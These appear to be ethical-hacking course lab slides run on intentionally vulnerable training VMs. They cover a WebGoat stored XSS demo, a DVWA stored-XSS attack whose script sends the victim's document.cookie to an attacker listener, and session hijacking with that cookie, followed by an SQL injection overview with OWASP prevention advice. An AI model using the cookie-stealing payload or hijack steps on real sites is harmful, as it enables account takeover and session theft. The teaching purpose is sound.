#### [WinXP] http://10.76.xx.101

<u>File E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>B</u> ookmarks <u>T</u> ools <u>H</u> elp			
🚳 owaspbwa OWASP Broken W 🗙 🕂			
<ul><li>(i) 10.76.5.101</li></ul>	C Q Search ☆ 自 ♣ 合 9	◙ ≡	
TRAINING APPLICATIONS		~	
OWASP WebGoat	OWASP WebGoat.NET		Gaugh
OWASP ESAPI Java SwingSet Interactive	⊕ <u>OWASP Mutillidae II</u>		down a
€ <u>OWASP RailsGoat</u>	OWASP Bricks		little
<u>OWASP Security Shepherd</u>	🔁 <u>Ghost</u>		
Magical Code Injection Rainbow	€ <u>bWAPP</u>		
Damn Vulnerable Web Application			
REALISTIC, INTENTIONALLY VULNERABLE APPLIC	ATIONS		We are using Pod
OWASP Vienum	OWASP 1-Liner		5 for this
🔁 <u>Google Gruyere</u>	Tackxor	<b>×</b>	example

From your WinXP VM, browse to your OWASP VM and head to WebGoat


#### http://10.76.xx.101

e <u>E</u> dit <u>V</u> iew Hi <u>s</u> tory	<u>B</u> ookmarks <u>T</u> ools <u>H</u> elp	
Connecting	× (+	
• (10.76.5.101	× 🤉 Search 🗘 自 🖡 🏫	
TRAINING APPLIC	TIONS	
OWASP WebG	oat OWASP WebGoat NET	
Authentio	ation Required	
	A username and password are being requested by http://10.76.5.101. The site says: "WebGoat Application"	
User Nam	: guest	
OWA Passwor	d: •••••	
• Magic	OK Cancel	
🔁 Damn Vulnerable	Web Application	
REALISTIC, INTEN	TIONALLY VULNERABLE APPLICATIONS	
OWASP Vienum	OWASP 1-Liner	
Google Gouvere	• Hackxor	

### *Login to WebGoat with both username and password = guest*



#### http://10.76.xx.101/WebGoat/attack

<u>File E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>B</u> ookmarks <u>T</u> ools <u>H</u> elp	
S WebGoat V5.4 × +	
( ) 10.76.5.101/WebGoat/attack	C Q Search ☆ 自 ↓ ☆ ♡ Ξ
OWASP WebGoat v5.4	
Thank you for using WebGoat! This progra exercises are intended to provide hands on	am is a demonstration of common web application flaws. The n experience with application penetration testing techniques.
The WebGoat project is led by Bruce Mayh WebGoat@owasp.org.	new. Please send all comments to Bruce at
OWASP The Open Web Application 1	a Spect Security Project
	WebGoat Authors
	Jeff Williams
WebGoat Design T	Team V5.4 Lesson Contributers
David Anderson Laurence Casey (Gra Rogan Dawes Bruce Mayhew	n Sherif Koussa aphics) Yiannis Pavlosoglou ; v
Special Thanks for	r V5.4 Documentation Contributers
Brian Ciomei (Multitude o To all who have sent co	of bug fixes) Enviro Geirnaert omments Aung Khant
	Start WebGoat
<.	

### Start OWASP WebGoat Training



#### http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900



#### Navigate to Stored XSS Attacks on left panel



#### http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

Title:	News	
Message:	Mirai bot attacks again	
Submit		
Messag	e List	
	ASPECT SECURITY	~
	Application Security Experts	

Add first message



#### http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900

Title:	New lab	
Message:	New extra credit lab available	
Submit		
Mossar	10 List	
News		
	First message is listed here <b>ASPECT</b> SECURITY	×

Add second message



#### http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900



### Add a third, malicious message, using javascript

<script language="javascript" type="text/javascript">alert("Mu Ha Ha Ha");</script>
 Also in /home/cis76/depot/lesson12/xss02/code.txt directory on Opus-II



#### http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900



Select a "good" message from Message list to retrieve from the database



http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900



Next select the malicious message from Message list to retrieve from the database



#### http://10.76.xx.101/WebGoat/attack?Screen=374&menu=900



### When the malicious message is retrieved the stored javascript is executed





(work in progress)





https://www.youtube.com/watch?v=T1QEs3mdJoc



### Cookie Stealing Example Reference and Credit



https://www.youtube.com/watch?v=3tRSJwuDBKg

http://danscourses.com/xss-with-a-vulnerable-webapp/

Excellent tutorial on stealing a cookie



Example Overview:

For this example we will use DVWA web app on the EH-OWASP VM to show how XSS commands can be used to steal a session cookie.

The attacker on EH-Kali will login to the DVWA app adding a post with a malicious script that steals the current cookie and sends it to a netcat listener on EH-Kali.

The victim on EH-WinXP next logs into the DVWA app and views the post which sends the session cookie to the attacker.

The attacker on EH-Kali uses a Firefox add-on called Tamper Data to use the cookie to login as the victim without entering a username and password!





**OWASP** Setup

Login as root cd /var/www/dvwa/vulnerabilities/xss\_s/ vi index.php On line 49 modify maxlength=\"50\" to maxlength=\"200\"

/ulnerability: Stored Cross Site Scripting (XSS)							
Name *							
Message *							
	Sign Guestbook						

*This modification will let us enter more than 50 characters into the Message field on this DVWA form* 



Kali Setup

Login as root

- 1. Start in Workspace 1
- 2. Run Firefox, search for the Tamper Data Add-On and install it.
- 3. Restart Firefox
- 4. Pancakes stack icon > Customize > Show/Hide Toolbars button > Check Menu Bar
- 5. Open a terminal in Workspace 2
- 6. systemctl stop apache2



(+)0)			✓ ⇒ Q		☆自	+ + 0
Bookmarks Toolbar Ite	ms					
Additional To	ols and Feat	ures		X, Cut	Copy	2 Paste
Open File	Sidebars	Share This Page	ی Subscribe	New Window Print Print Find Developer	New Private Window History Preferences Synced Tabs	Save Page © Full Screen Add-ons
				Z Exit Custon		0 0



### Stealing Cookies with XSS

#### [Kali] http://10.76.xx.101/



### Attacker browses to the OWASP VM in your pod



### Stealing Cookies with XSS

#### [Kali] http://10.76.xx.101/

	owaspbwa OWASP Broken W	eb Applications - Mozilla Firefox			0	• •
<u>F</u> ile <u>E</u> dit <u>V</u> iew Hi	i <u>s</u> tory <u>B</u> ookmarks <u>T</u> ools <u>H</u> elp					
Kali Linux, an Offensive	e S × 💿 owaspbwa OWASP Br × +					
( 10.76.5.101		90%   C Q. Search	☆ 値	+	<b>a</b>	, ≡
🛅 Most Visited 🗸 👖 Off	ensive Security 🌂 Kali Linux 🌂 Kali Docs 🌂 Kali Tools 🍬 Ex	ploit-DB 📡Aircrack-ng 🔟Kali Forums 🌂 NetHunter (	🥑 Gettir	ng Starte	d	
	macini	c settings				^
	TRAINING APPLICATIONS					
	OWASP WebGoat	<u>OWASP WebGoat.NET</u>				
	OWASP ESAPI Java SwingSet Interactive	OWASP Mutillidae II				- 1
	OWASP RailsGoat	OWASP Bricks				- 1
	<u>OWASP Security Shepherd</u>	€ <u>Ghost</u>				- 1
	Magical Code Injection Rainbow	• <u>bwapp</u>				
	Damn Vulnerable Web Application					
	REALISTIC, INTENTIONALLY VULNERABLE APPLICATIONS					
	OWASP Vicnum	OWASP 1-Liner				
	Google Gruyere	•Hackxor				
	WackoPicko	BodgeIt				
	€ <u>Cyclone</u>	• Peruggia				
	OLD (VIII NERABLE) VERSIONS OF REAL ADDITIONS					
	OLD (VULNERABLE) VERSIONS OF REAL APPLICATIONS			_		~

### Scroll down and click on the Damn Vulnerable Web Application



### Stealing Cookies with XSS

#### [Kali] http://10.76.xx.101/dvwa/login.php

Da	amn Vulnerable Web App (DVWA) - Login - Mozilla Firefox	0	•	8
<u>F</u> ile <u>E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>B</u> ookmarks <u>T</u> ools <u>H</u> e	elp			
Kali Linux, an Offensive S 🗙 🌀 Damn Vulnerable We	e × +			
🗲 🛈 🔏   10.76.5.101/dvwa/login.php	90% C Q Search	<b>^</b>	2	≡
Most Visited ✓ MOffensive Security 🌂 Kali Linux 🥆 Ka	ali Docs 🌂 Kali Tools 🛸 Exploit-DB 🐚 Aircrack-ng ᡀ Kali Forums 🌂 NetHunter 🥮 Getting Starte	d		
	DVVVA			
				l
				l
	Username			
	Desenverd			
	Lorin			
	Login			
	Damn Vulnerable Web Application (DVWA) is a RandomStorm OpenSource project			

*Login with username and password = admin* 



### Stealing Cookies with XSS

#### [Kali] http://10.76.xx.101/dvwa/index.php



Click on Setup



### Stealing Cookies with XSS

#### [Kali] http://10.76.xx.101/dvwa/setup.php

	Damn Vulnerable Web App (DVWA) v1.8 :: Setup - Mozilla Firefox	0	•	8
<u>F</u> ile <u>E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>B</u> ookmarks	Tools Help			
Kali Linux, an Offensive S 🗴 🙋 Damn V	Ilnerable We × +			
( 10.76.5.101/dvwa/setup.php	町 90% C Q Search ☆ 自	∔ ⋒		≡
Most Visited ✓ ■Offensive Security 🥆 Kal	i Linux 🌂 Kali Docs 🌂 Kali Tools 🔦 Exploit-DB 📡 Aircrack-ng 🏹 Kali Forums 🌂 NetHunter 🥮 Getting S	Started		
Home Instructions Setup Brute Force Command Execution CSRF Insecure CAPTCHA File Inclusion SQL Injection (Blind) Upload XSS reflected XSS stored DVWA Security PHP Info About Logout	Database setup   Click on the 'Create / Reset Database' hutton below to create or reset your database. If you get an error make sure you have the correct user credentials in /config/config/inc.php.   It de database already exists, it will be cleared and the data will be reset. Eackend Database: MySQL Create / Reset Database			

Click on Create / Reset Database



### Stealing Cookies with XSS

#### [Kali] http://10.76.xx.101/dvwa/index.php



Click on XSS Stored



### Stealing Cookies with XSS

#### [Kali] http://10.76.xx.101/dvwa/vulnerabilities/xss\_s/

Damn Vulnerable Web App (D	VWA) v1.8 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox
<u>F</u> ile <u>E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>B</u> ookmarks <u>T</u> ools <u>H</u> elp	
Kali Linux, an Offensive S 🗙 🙋 Damn Vulnerable We	× \+
( ) 10.76.5.101/dvwa/vulnerabilities/xss_s/	□ 90%   C Q Search ☆ 自 ♣ 合 ♡ 三
👸 Most Visited 🗸 👖 Offensive Security 🌂 Kali Linux 🌂 Kali D	ocs 🍾 Kali Tools 🛸 Exploit-DB 📡 Aircrack-ng 🚺 Kali Forums 🌂 NetHunter 😻 Getting Started
	Mu Ha Ha
Home	erability: Stored Cross Site Scripting (XSS)
Instructions Setup Name	e* Mu ha haj
Brute Force     Mess       Command Execution     CSRF       Insecure CAPTCHA     File Inclusion       SQL Injection     Name: 1       SQL Injection (Blind)     Wessag       Upload     More       XSS reflected     http://ha.	sage * Sign Guestbook test pe: This is a test comment. info ckers.org/xs.html
XSS stored         http://en.http://wwww.http://www.htttp://www.htttp://www.http://www.http://wwwwwwww.http://www.http://w	wikipedia.org/wiki/Cross-site_scripting ww.cgisecurity.com/xss-faq.html
<pre><script>new 1 document cool</pre></td><th><pre>Image().src="http://10.76.xx.150/bogus.php? "+ kie:</script></pre>	

### To lay the trap, fill in the form and click the Sign Guestbook button



### Stealing Cookies with XSS

#### [Kali] http://10.76.xx.101/dvwa/vulnerabilities/xss\_s/

				Damn Vulner	able Web	App (DVWA) v1	.8 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox 🛛 🖨 🗿 🔕
<u>F</u> ile	<u>E</u> dit	View	Hi <u>s</u> tory	<u>B</u> ookmarks	<u>T</u> ools	<u>H</u> elp	
Kal	i Linux, a	an Offer	nsive S 🕽	× 🗖 Damn '	Vulnerable	e We × +	
(	10.7	6.5.101	/dvwa/vulr		_s/	_	🖾 90%   C 🔍 Search 🗘 🖨 🕂 🏠 💟 🚍
	ost visite	d~	Offensive	Security <b>X</b> K	ali Linux 1	Kali Docs K	ali Iools 🛸 Exploit-DB 🐚 Aircrack-ng 🔟 Kali Forums 🥆 NetHunter 🥑 Getting Started
							DVVVA
			Home	9		Vulnerabi	lity: Stored Cross Site Scripting (XSS)
			Instru	uctions		1	
ĺ			Setup	p		Name *	Mu ha haj
			Brute	Force		800 000	<pre><script>new Image().src="http://10.76.5.150/bogus.php? "+ document.cookie</script></pre>
			Com	mand Execution		Message *	
			CSRF				Sign Guestbook
			Insec	ure CAPTCHA			
			File In	nclusion			
			SQL	Injection		Name: test Message: This is a	test comment.
ĺ			SQL	Injection (Blind)			
ĺ			XSS	reflected	_	More Into	
			XSS	stored		http://ha.ckers.org/ http://en.wikipedia.c	<u>(ss.html</u> rg/wiki/Cross-site_scripting
						http://www.cgisecu	rity.com/xss-faq.html
ĺ			DVW	A Security			
			Abou	inio it			
			Abou				
			Logo	ut			

#### Log out for now



### Stealing Cookies with XSS

#### [Kali] http://10.76.xx.101/dvwa/vulnerabilities/xss\_s/

Damn Vuln	erable Web App (DVWA) v1	.8 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox	000
<u>F</u> ile <u>E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>B</u> ookmark	s <u>T</u> ools <u>H</u> elp		
Kali Linux, an Offensive S × / 🗾 Dam	n Vulnerable We × +		
( Ill. 76.5.101/dvwa/vulnerabilities/x	iss_s/	🖸 (90%) C 🔍 Search	
Most Visited MOffensive Security	Kali Linux 🏷 Kali Docs 🏷 Ki	ali Tools 🔶 Evoloit-DB 📡 Aircrack-ng 🎜 Kali Forums 🏷 NetHunter 👼 Gett	ting Started
The most visited • In one is the second y			
	N/ 1 1 1		
Home	Vulnerabil	lity: Stored Cross Site Scripting (XSS)	
Instructions			
Setup	Name *	Mu ha ha	
Brute Force	Mercage t	<script>new Image().src="http://10.76.5.150/bogus.php? "+ document.cookie;</script>	
Command Executio	n		
CSRF		Sign Guestbook	
Insecure CAPTCHA			
File Inclusion			
SQL Injection	Name: test Message: This is a	test comment.	
Upload	More info		
XSS reflected	http://ba.ekers.exe/b	an blog	
XSS stored	http://na.ckers.org/x	rg/wiki/Cross-site scripting	
DV/WA Security	intp.//www.cgisecur	ILY-COURASS-FORCEITIN	
PHP Info			
About			
Logout			

Attacker logs out for now



# Stealing Cookies with XSS

#### [WinXP] http://10.76.xx.101



#### The victim browses to the OWASP VM



# Stealing Cookies with XSS

#### [WinXP] http://10.76.xx.101

a owaspbwa OWASP Broken Web Applications - Microsoft Internet Explo	rer				
<u>File Edit V</u> iew F <u>a</u> vorites <u>T</u> ools <u>H</u> elp		A.			
🚱 Back 🔹 💿 🔹 😰 🏠 🔎 Search 🜟 Favorites 🧐 🔗	• 😓 🖻 🍪				
Address 🗃 http://10.76.5.101/	*	🔁 Go 🛛 Links 🂙			
For details about the known vulnerabilities in these applications, so limit=999&sort=_severity+asc.	ee <u>https://sourceforge.net/p/owaspbwa/tickets/?</u>				
III This VM has many serious security issues. We strongly recommend that you run it only on the "host only" or "NAT" network in the virtual machine settings III					
TRAINING APPLICATIONS					
	OWASP WebGoat.NET				
OWASP ESAPI Java SwingSet Interactive	OWASP Mutillidae II				
OWASP RailsGoat	OWASP Bricks				
OWASP Security Shepherd	OGhost				
Magical Code Injection Rainbow	© <sub>bwapp</sub>				
On the text of					
REALISTIC, INTENTIONALLY VULNERABLE AP	PLICATIONS				
Owase Vicnum	OWASP 1-Liner				
Done	🖉 Inte	rnet			

### Scroll down and select Damn Vulnerable Web Application



# Stealing Cookies with XSS

#### [WinXP] http://10.76.xx.101

🚰 Damn Vulnerable Web App (DVWA) - Le	ogin - Microsoft Internet Explorer	
File Edit View Favorites Tools Help		🖉 🖉
🚱 Back 🝷 🐑 💌 📓 🏠 🔎	Search 🤺 Favorites 🚱 🔗 - 🌺 🚍 🦓	
Address ahttp://10.76.5.101/dvwa/login.php		So Links 🎽
	contract   Contract Contract Contract	
		*

Login with username and password = admin



# Stealing Cookies with XSS

#### [WinXP] http://10.76.xx.101/dvwa/index.php



### Switch back to Kali for the next step



#### [Kali] netcat -lvp 80



Start listing for incoming http traffic to port 80



# Stealing Cookies with XSS

#### [WinXP] http://10.76.xx.101/dvwa/index.php



### Victim clicks on XSS Stored



# Stealing Cookies with XSS

[WINXP] <b>http:</b>	//10.76.xx.101/dvwa/vulnerabilities/xss_s	/
🚰 Damn Vulnerable Web App (l	DVWA) v1.8 :: Vulnerability: Stored Cross Site Scripting (XSS) - Microsoft Internet Explorer	
<u>File E</u> dit <u>V</u> iew Favorites <u>T</u> ools	s Help	<b>.</b>
🔇 Back 🝷 🕥 🕤 💌 🛃	🏠 🔎 Search 🧙 Favorites 🚱 🎯 - 🌺 🔜 🦓	
Address 🐻 http://10.76.5.101/dvwa/	/vulnerabilities/xss_s/	Links »
	DYWA	
Home	Vulnerability: Stored Cross Site Scripting (XSS)	
Instructions		
Setup	Name *	
Brute Force	Message *	三
Command Execution	<u> </u>	
CSRF	Sign Guestbook	
Insecure CAPTCHA		
File Inclusion		
SQL Injection	Name: test	
SQL Injection (Blind)		
Upload	Name: Mu ha ha Messaαe:	
XSS reflected		
XSS stored	More info	
DVWA Security	http://ha.ckers.org/xss.html	
PHP Info	http://en.wikipedia.org/wiki/Cross-site_scripting http://www.caisecurity.com/xss-faa.html	
About		
Logout		~
) http://10.76.5.101/dvwa/vulnerabilit	ties/fil/?page=include.php	<u></u> ;

### When the browser renders this page the malicious script is executed



#### [Kali] netcat -lvp 80

root@eh-kali-05: ~				
File Edit View Search Terminal Help				
<pre>root@eh-kali-05:~# netcat -lvp 80</pre>			^	
listening on [any] 80				
10.76.5.201: inverse host lookup failed: Unknown host				
connect to [10.76.5.150] from (UNKNOWN) [10.76.5.201] 1421				
GET /bogus.php?%26security=low;%20PHPSESSID=chhba9fpi8m1pcapu08g0t2mp5;%20acopendivids	=swir	ngse	t,	
jotto,phpbb2,redmine;%20acgroupswithpersist=nada HTTP/1.1				
Accept: */*				
Referer: http://10.76.5.101/dvwa/vulnerabilities/xss_s/				
Accept-Language: en-us				
Accept-Encoding: gzip, deflate				
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)				
Host: 10.76.5.150				
Connection: Keep-Alive				
security=low:%20PHPSESSID=chhba9fpi8m1pcapu(	)8a	012	)m	

security=low;%20PHPSESSID=chhba9fpi8m1pcapu08g0t2mp5;%20acope ndivids=swingset,jotto,phpbb2,redmine;%20acgroupswithpersist=nada

The attacker now can see and copy the victims session cookie



#### [Kali] Run the Tamper Data tool



On Firefox run the Tamper Data tool



Ele View VM	
Applications ▼       Places ▼       ●       Firefox ESR ▼       Tue 15:49       1	ダ ♥) () ▼
root@eh-kali-05: ~	
File Edit View Search Terminal Help	×
root@eh-kali-05:~# netcat -lvp 80 Start Tamper Clear	Options Help
listening on [any] 80 10.76.5.201: inverse host lookup failed: Unknown host	Show All
connect to [10.76.5.150] from (UNKNOWN) [10.76.5.201] 1552	Load I
GET /bogus.php?%20security=low;%20PHPSESSID=su8hhre40fs6uvnf1np 1 During 10dd Bdr Plan During Content and Co	OAD_BYPA ^
Host: 10.76.5.150 15:4 75 ms 201057 ms 1596 GET 200 text/html htt	OAD_DOC
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/2010010 15:4 0 ms 0 ms unk GET pendi unknown htt Accept: */*	OAD_NOR
Accept - Language Damn Vulnerable Web App (DVWA) - Login - Mozilla Firefox 🗢 🗉 😵	OAD_NOR
Accept-Encoding File Edit View History Bookmarks Tools Help Referer: http://	OAD_BYPA
V Connection: kee Kali Linux, an Offensive S × So Damn Vulnerable We × +	OAD_NOR OAD_FRO
(←) → ① 10.76.5.101/dvwa/lvulnerabilities/xss_s/	OAD_FRO
Most Visited V MOffensive Security & Kali Linux & Kali Docs & Kali Tools & Exploit-DB & Aircrack-ng VKali Forums & NetHunter	ponse He
	L
http://10.76.xx.101/dvwa/vulnerabilities/xss s/	
	-
DV/WA /	
F	
Username	
Password	
Login	

Start tampering, update the URL then press **Enter** (do not click Login button)



🛃 EH-Kali-05 on 192.168.0.20					
<u>Fi</u> le Vie <u>w</u> <u>V</u> M					
	A 🔯 🄛 🖓 🖗				
Applications   Places	▼ ● Firefox ESR ▼	Tue	16:00		⊯ 1 ≠ •0) 🕛 ▼
		root@eh-kali-05: ~		×	
File Edit V	'iew Search Terminal Help				
root@eh-ka	li-05:∼# netcat -lvp 80			▲	
10.76.5.20	1: inverse host lookup faile	ed: Unknown host			
Connect to	[10.76.5.150] from (UNKNOW) php?%20security=low:%20PHP	I) [10.76.5.201] 1552 SESSID=su8bbre40fs6uvnf1		Tamper Data - Ongoing request	s <b>000</b>
jotto, phpb	b2, redmine;%20acgroupswithpe	ersist=nada HTTP/1.1	Start Tamper Stop Tamper	Clear	Ontions Help
Host: 10.7 User-Agent	5.5.150 : Mozilla/5.0 (Windows NT 5.	1; rv:52.0) Gecko/20100		cicu	
Accept: */	*	Damn Vulnerable We	b App (DVWA) - Login - Mozil	la Firefox	× Show All
Accept-Enc	oding File Edit View History	<u>B</u> ookmarks <u>T</u> ools <u>H</u> elp			ad 🖽
Referer: h Connection	ttp:/ : kee Kali Linux, an Offensive S	× C Connecting	× +		D_FRO
	▲ ▲ ① 10.76.5.101/dvw	a/vulnerabilities/yss_s/	90% × Q Search	◇ 白 Ⅰ	
				Tomper with request?	D_FRO
	Most Visited ✓ ¶∎ Offensiv	e Security 🌂 Kali Linux 🌂 Kali D	ocs 🌂 Kali Too	ramper with request?	D_DOC
			http:	://10.76.5.101/dvwa/vulnerabilitie	s/xss_s/ ID_FRO
<b>X</b>					ID_FRO 🗸
		D		ontinue Tampering?	nse He
F			Submit	Abort Request	Tamper
		Username			
		Password			
			Login		
					~
			I sais failed		

### Click the Tamper button



🔁 EH-Kali-05 on 192.168.0.20				_ 🗆 ×
File View VM	a An			
	· ESD -	Tuo 16:02		
		100 10.05		
File Edit View Coards	root@e	:h-kali-05: ~		×
root@eh-kali-05:~# net	tcat -lvp 80			
listening on [any] 80 10.76.5.201: inverse b	 host lookun failed: Unknow	n host		
connect GET /bo		Tamper F	Рорир	8
jotto,p http://10.76.5.10	1/dvwa/vulnerabilities/xss_s/			
User-Age Request Head	ler Name Request Head	er Value	Post Parameter Name	Post Parameter Value
Accept: Host Accept-	10.76.5.101			
Accept-User-Agent	Mozilla/5.0 ()	(11; Linux x86_64; rv:52.0) Ge		
Connect: Accept	text/html,app	lication/xhtml+xml,applicatior		
Accept-Langua	ge en-US,en;q=	0.5		
Accept-Encodin	gzip, deflate			
Cookie	security=low	; security=low; PHPSESSID=c		
				Cancel OK
				*


🛃 EH-Kali-05	5 on 192.168.0.2	20			
<u>File</u> Vie <u>w</u> V	M				
	🕨 🧐 🔯	🛛 🕼 🕼 🔜 🖗 🕼			
Applicatio	ons 👻 🛛 Plac	ces 🔻 🔈 Terminal 🔫	Tue 15:53		ب¥ 1 م¥ ♦0) ( <sup>1</sup> ד
			root@eh-kali-05: ~	000	
	File Edit	View Search Terminal	Help		
	root@eh- listenin	kali-05:∼# netcat -l g on [anv] 80	vp 80	Â	
	10.76.5.	201: inverse host lo	okup failed: Unknown host		
: 2)	GET /bog	us.php?%20security=1	m (UNKNOWN) [10.76.5.201] 1552 pw;%20PHPSESSID=su8hhre40fs6uvnf1nplrfclt1	;%20acopendivids=swingset,	×
	jotto,ph Host: 10	pbb2,redmine;%20acgr .76.5.150	oupswithpersist=nada HTTP/1.1		
•	User-Age	nt: Mozilla/5.0 (Win	dows NT 5.1; rv:52.0) Gecko/20100101 Firef	ox/52.0	Post Parameter Value
	Accept: Accept-L	*/* .anguage: en-US,en;q=	0.5		
	Accept-E	ncoding: gzip, defla	te dvwa/vulnerabilities/xss_s/		
M	Connecti	on: keep-alive			
-					
2		Accept-Language	en-US,en;q=0.5		, 
5		Accept-Encoding	gzip, deflate		
81		Cookie	b2,redmine;%20acgroupswithpersist=nada		
F					
0					
					Cancel OK

Replace your cookie with the victim's cookie Don't include the "GET", the requested website page (bogus.php) or the trailing "HTTP/1.1



🛃 EH-Kali-O	05 on 192.168.0.20	
<u>F</u> ile Vie <u>w</u>		
Applicati	ions ▼ Places ▼ 🕑 Firefox ESR ▼	Tue 15:43 🙀 🖬 🚺 🗡 📢 🖱 🗸
		root@eh-kali-05: ~ – 🗆 ×
	File Edit View Search Terminal Help	
	<pre>root@eh-Kall-05:~# netcat -lvp 80 listening on [any] 80</pre>	refox – 🗆 🗴
	10.76.5.201: inverse host lookup faile	ed: Unknown host
	GET /bogus.php?%20security=low;%20PHPS	N) [10.76.5.201] 1552 SESSID=su8hhre40fs
\$	jotto,phpbb2,redmine;%20acgroupswithpe	ersist=nada HTTP/1 Tamper Data - Ongoing requests 🗢 🖸 🛽
	Host: 10.76.5.150 User-Agent: Mozilla/5.0 (Windows NT 5.	.1; rv:52.0) Gecko Start Tamper Stop Tamper Clear Options Help
	Accept: */*	Filter Show All
	Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip. deflate	Dur Total Dur M S Content Load B
M   1	Referer: http://10.76.5.101/dvwa/vulne	erabilities/xss_s/
×	Connection: keep-alive	15:4 0 ms 0 ms unk GET pendi unknown htt LOAD_NOR
	Home	15:4 0 ms 0 ms unk GET pendi unknown htt LOAD_NOR
	Instructions	
	Setup	Tamper with request:
8		http://10.76.5.150
	Brute Force Command Execution	/bogus.php?%20security=low;%20security=low;%20PHPSESSID=cc3cne0/lsnk23o862963ta496
F	CSRF	Continue Tampering?
	Insecure CAPTCHA	Submit Abort Request Tamper
	File Inclusion	
	SQL Injection	Name: test Message: This i
	SQL Injection (Blind)	Name Mu ha ha
	Upload	Message:
	XSS stored	More info
	Read 10.76.5.101	

*Voila! We have "logged in" using the victims session cookie* 



🛃 EH-Kali-05 on 1	92.168.0.20				
<u>File View V</u> M					
		100 C			
Applications 🗸	Places 👻 🕑 Firefox ESI	R 🕶	Tue 15:45	<b>,</b>	1 💉 🕬 🕛 🛨
		r	oot@eh-kali-05: ~	$  \times$	
	File Edit View Search	Terminal Help			_
	listening on [any]	Damn Vulnerable Web App	(DVWA) v1.8 :: Vulnerability: Stored Cross Site So	ripting (XSS) - Mozilla Firefox 🖨 🔳	8
. 🕗	10.76.5.201: invers F connect to [10.76.5	ile <u>E</u> dit <u>V</u> iew Hi <u>s</u> tory	<u>B</u> ookmarks <u>T</u> ools <u>H</u> elp		
	GET /bogus.php?%20	Kali Linux, an Offensive S ×	🖉 Damn Vulnerable We 🗙 🕂		
•	Host: 10.76.5.150	🗧 🛈   10.76.5.101/dvwa/vulne	erabilities/xss_s/ 🖾 90%   C 🔍 Search	☆ 自 ♣ 合 ♥	Options Help
	User-Agent: Mozilla Accept: */*	Most Visited 🗸 👖 Offensive S	Security 🌂 Kali Linux 🌂 Kali Docs 🌂 Kali Tools 🍝	Exploit-DB 🐚 Aircrack-ng	»
	Accept-Language: er	Command Execution		h	Show All
M	Referer: http://10	CSRF	Sign Guestbook		
	Connection: keep-a	File Inclusion			_OAD_BYPA
2		SQL Injection	Name: test		LOAD_DOC
7		SQL Injection (Blind)	Message: This is a test comment.		_OAD_NOR
		Upload	Name: Mu ha ha Message:		LOAD_NOR
81		XSS stored	More info		LOAD_NOR
-			http://ha.ckers.org/xss.html		LOAD_FRO 🗸
		DVWA Security	http://en.wikipedia.org/wiki/Cross-site_scripting http://www.cgisecurity.com/xss-fag.html		ponse He
		About			
		Lamout	Login failed		
0°		Loyout			
:::		Username: admin		View Source View F	elp
		Security Level: low PHPIDS: disabled			-
	3			16.01.001	×
					_

And we have full admin rights



# A1 Injection (SQL)



# SQL Injection

- Used to attack web applications that store data in a SQL database.
- Malicious SQL statements are inserted into input fields of web forms that when executed can bypass authentication, dump database contents, tamper with data, or delete tables in the database.

https://en.wikipedia.org/wiki/SQL injection



# Injection

#### **OWASP** Risk Rating

Threat Agents	Attack Vectors	Security \	Neakness	Technical Impacts	Business Impacts
Application Specific	Exploitability EA SY	Prevalence COMMON	Detectability AVERAGE	Impact SEVERE	Application / Business Specific
Consider anyone who	Attacker sends simple	Injection flaws occur w	hen an application	Injection can result in	Consider the business
can send untrusted	text-based attacks	sends untrusted data to	o an interpreter.	data loss or	value of the affected
data to the system,	that exploit the syntax	Injection flaws are very	prevalent, particularly	corruption, lack of	data and the platform
including external	of the targeted	in legacy code. They a	re often found in SQL,	accountability, or	running the
users, internal users,	interpreter. Almost	LDAP, Xpath, or NoSQ	L queries; OS	denial of access.	interpreter. All data
and administrators.	any source of data	commands; XML parse	ers, SMTP Headers,	Injection can	could be stolen,
	can be an injection	program arguments, et	c. Injection flaws are	sometimes lead to	modified, or deleted.
	vector, including	easy to discover when	examining code, but	complete host	Could your reputation
	internal sources.	frequently hard to disco	over via testing.	takeover.	be harmed?
		Scanners and fuzzers	can help attackers find		
		injection flaws.			



# SQL Injection



https://www.youtube.com/watch?v=\_jKylhJtPmI

You Tube





# **OWASP** Injection Prevention

#### How Do I Prevent 'Injection'?

Preventing injection requires keeping untrusted data separate from commands and queries.

- 1. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface. Be careful with APIs, such as stored procedures, that are parameterized, but can still introduce injection under the hood.
- If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP's ESAPI provides many of these escaping routines.
- 3. Positive or "white list" input validation is also recommended, but is not a complete defense as many applications require special characters in their input. If special characters are required, only approaches 1. and 2. above will make their use safe. OWASP's ESAPI has an extensible library of white list input validation routines.



# SQL Injection Example Reference and Credit



https://www.youtube.com/watch?v=RtN8tIR7q-M

Excellent tutorial on SQL Injection using Mutillidae



# SQL Injection

Example Overview:

For this example we will use Mutillidae II on the EH-OWASP VM to show how SQL commands can be injected into a web application. The web application does not check and sanitize the input so anything added will get executed as a SQL query.

The attacker will browse from EH-Kali to the web server on the EH-OWASP VM.

The EH-Kali browser does not use the Burp Suite proxy in this example so the proxy configuration in the last example can be undone ("Pancakes" icon > Preferences > Advanced > Network > Settings... > Select "No proxy").



# SQL Injection

Example Overview:

For this example we will use Mutillidae II on the EH-OWASP VM to show how SQL commands can be injected into a web application. The web application does not check and sanitize the input so anything added will get executed as a SQL query.

The attacker will browse from EH-Kali to the web server on the EH-OWASP VM.



## **OWASP** Mutillidae II

#### [EH-Kali] http://10.76.xx.101



Disable web proxy if configured

#### On your Kali VM, browse to your OWASP VM and head to Mutillidae II



## **OWASP** Mutillidae II



Select OWASP 2013 on the left panel



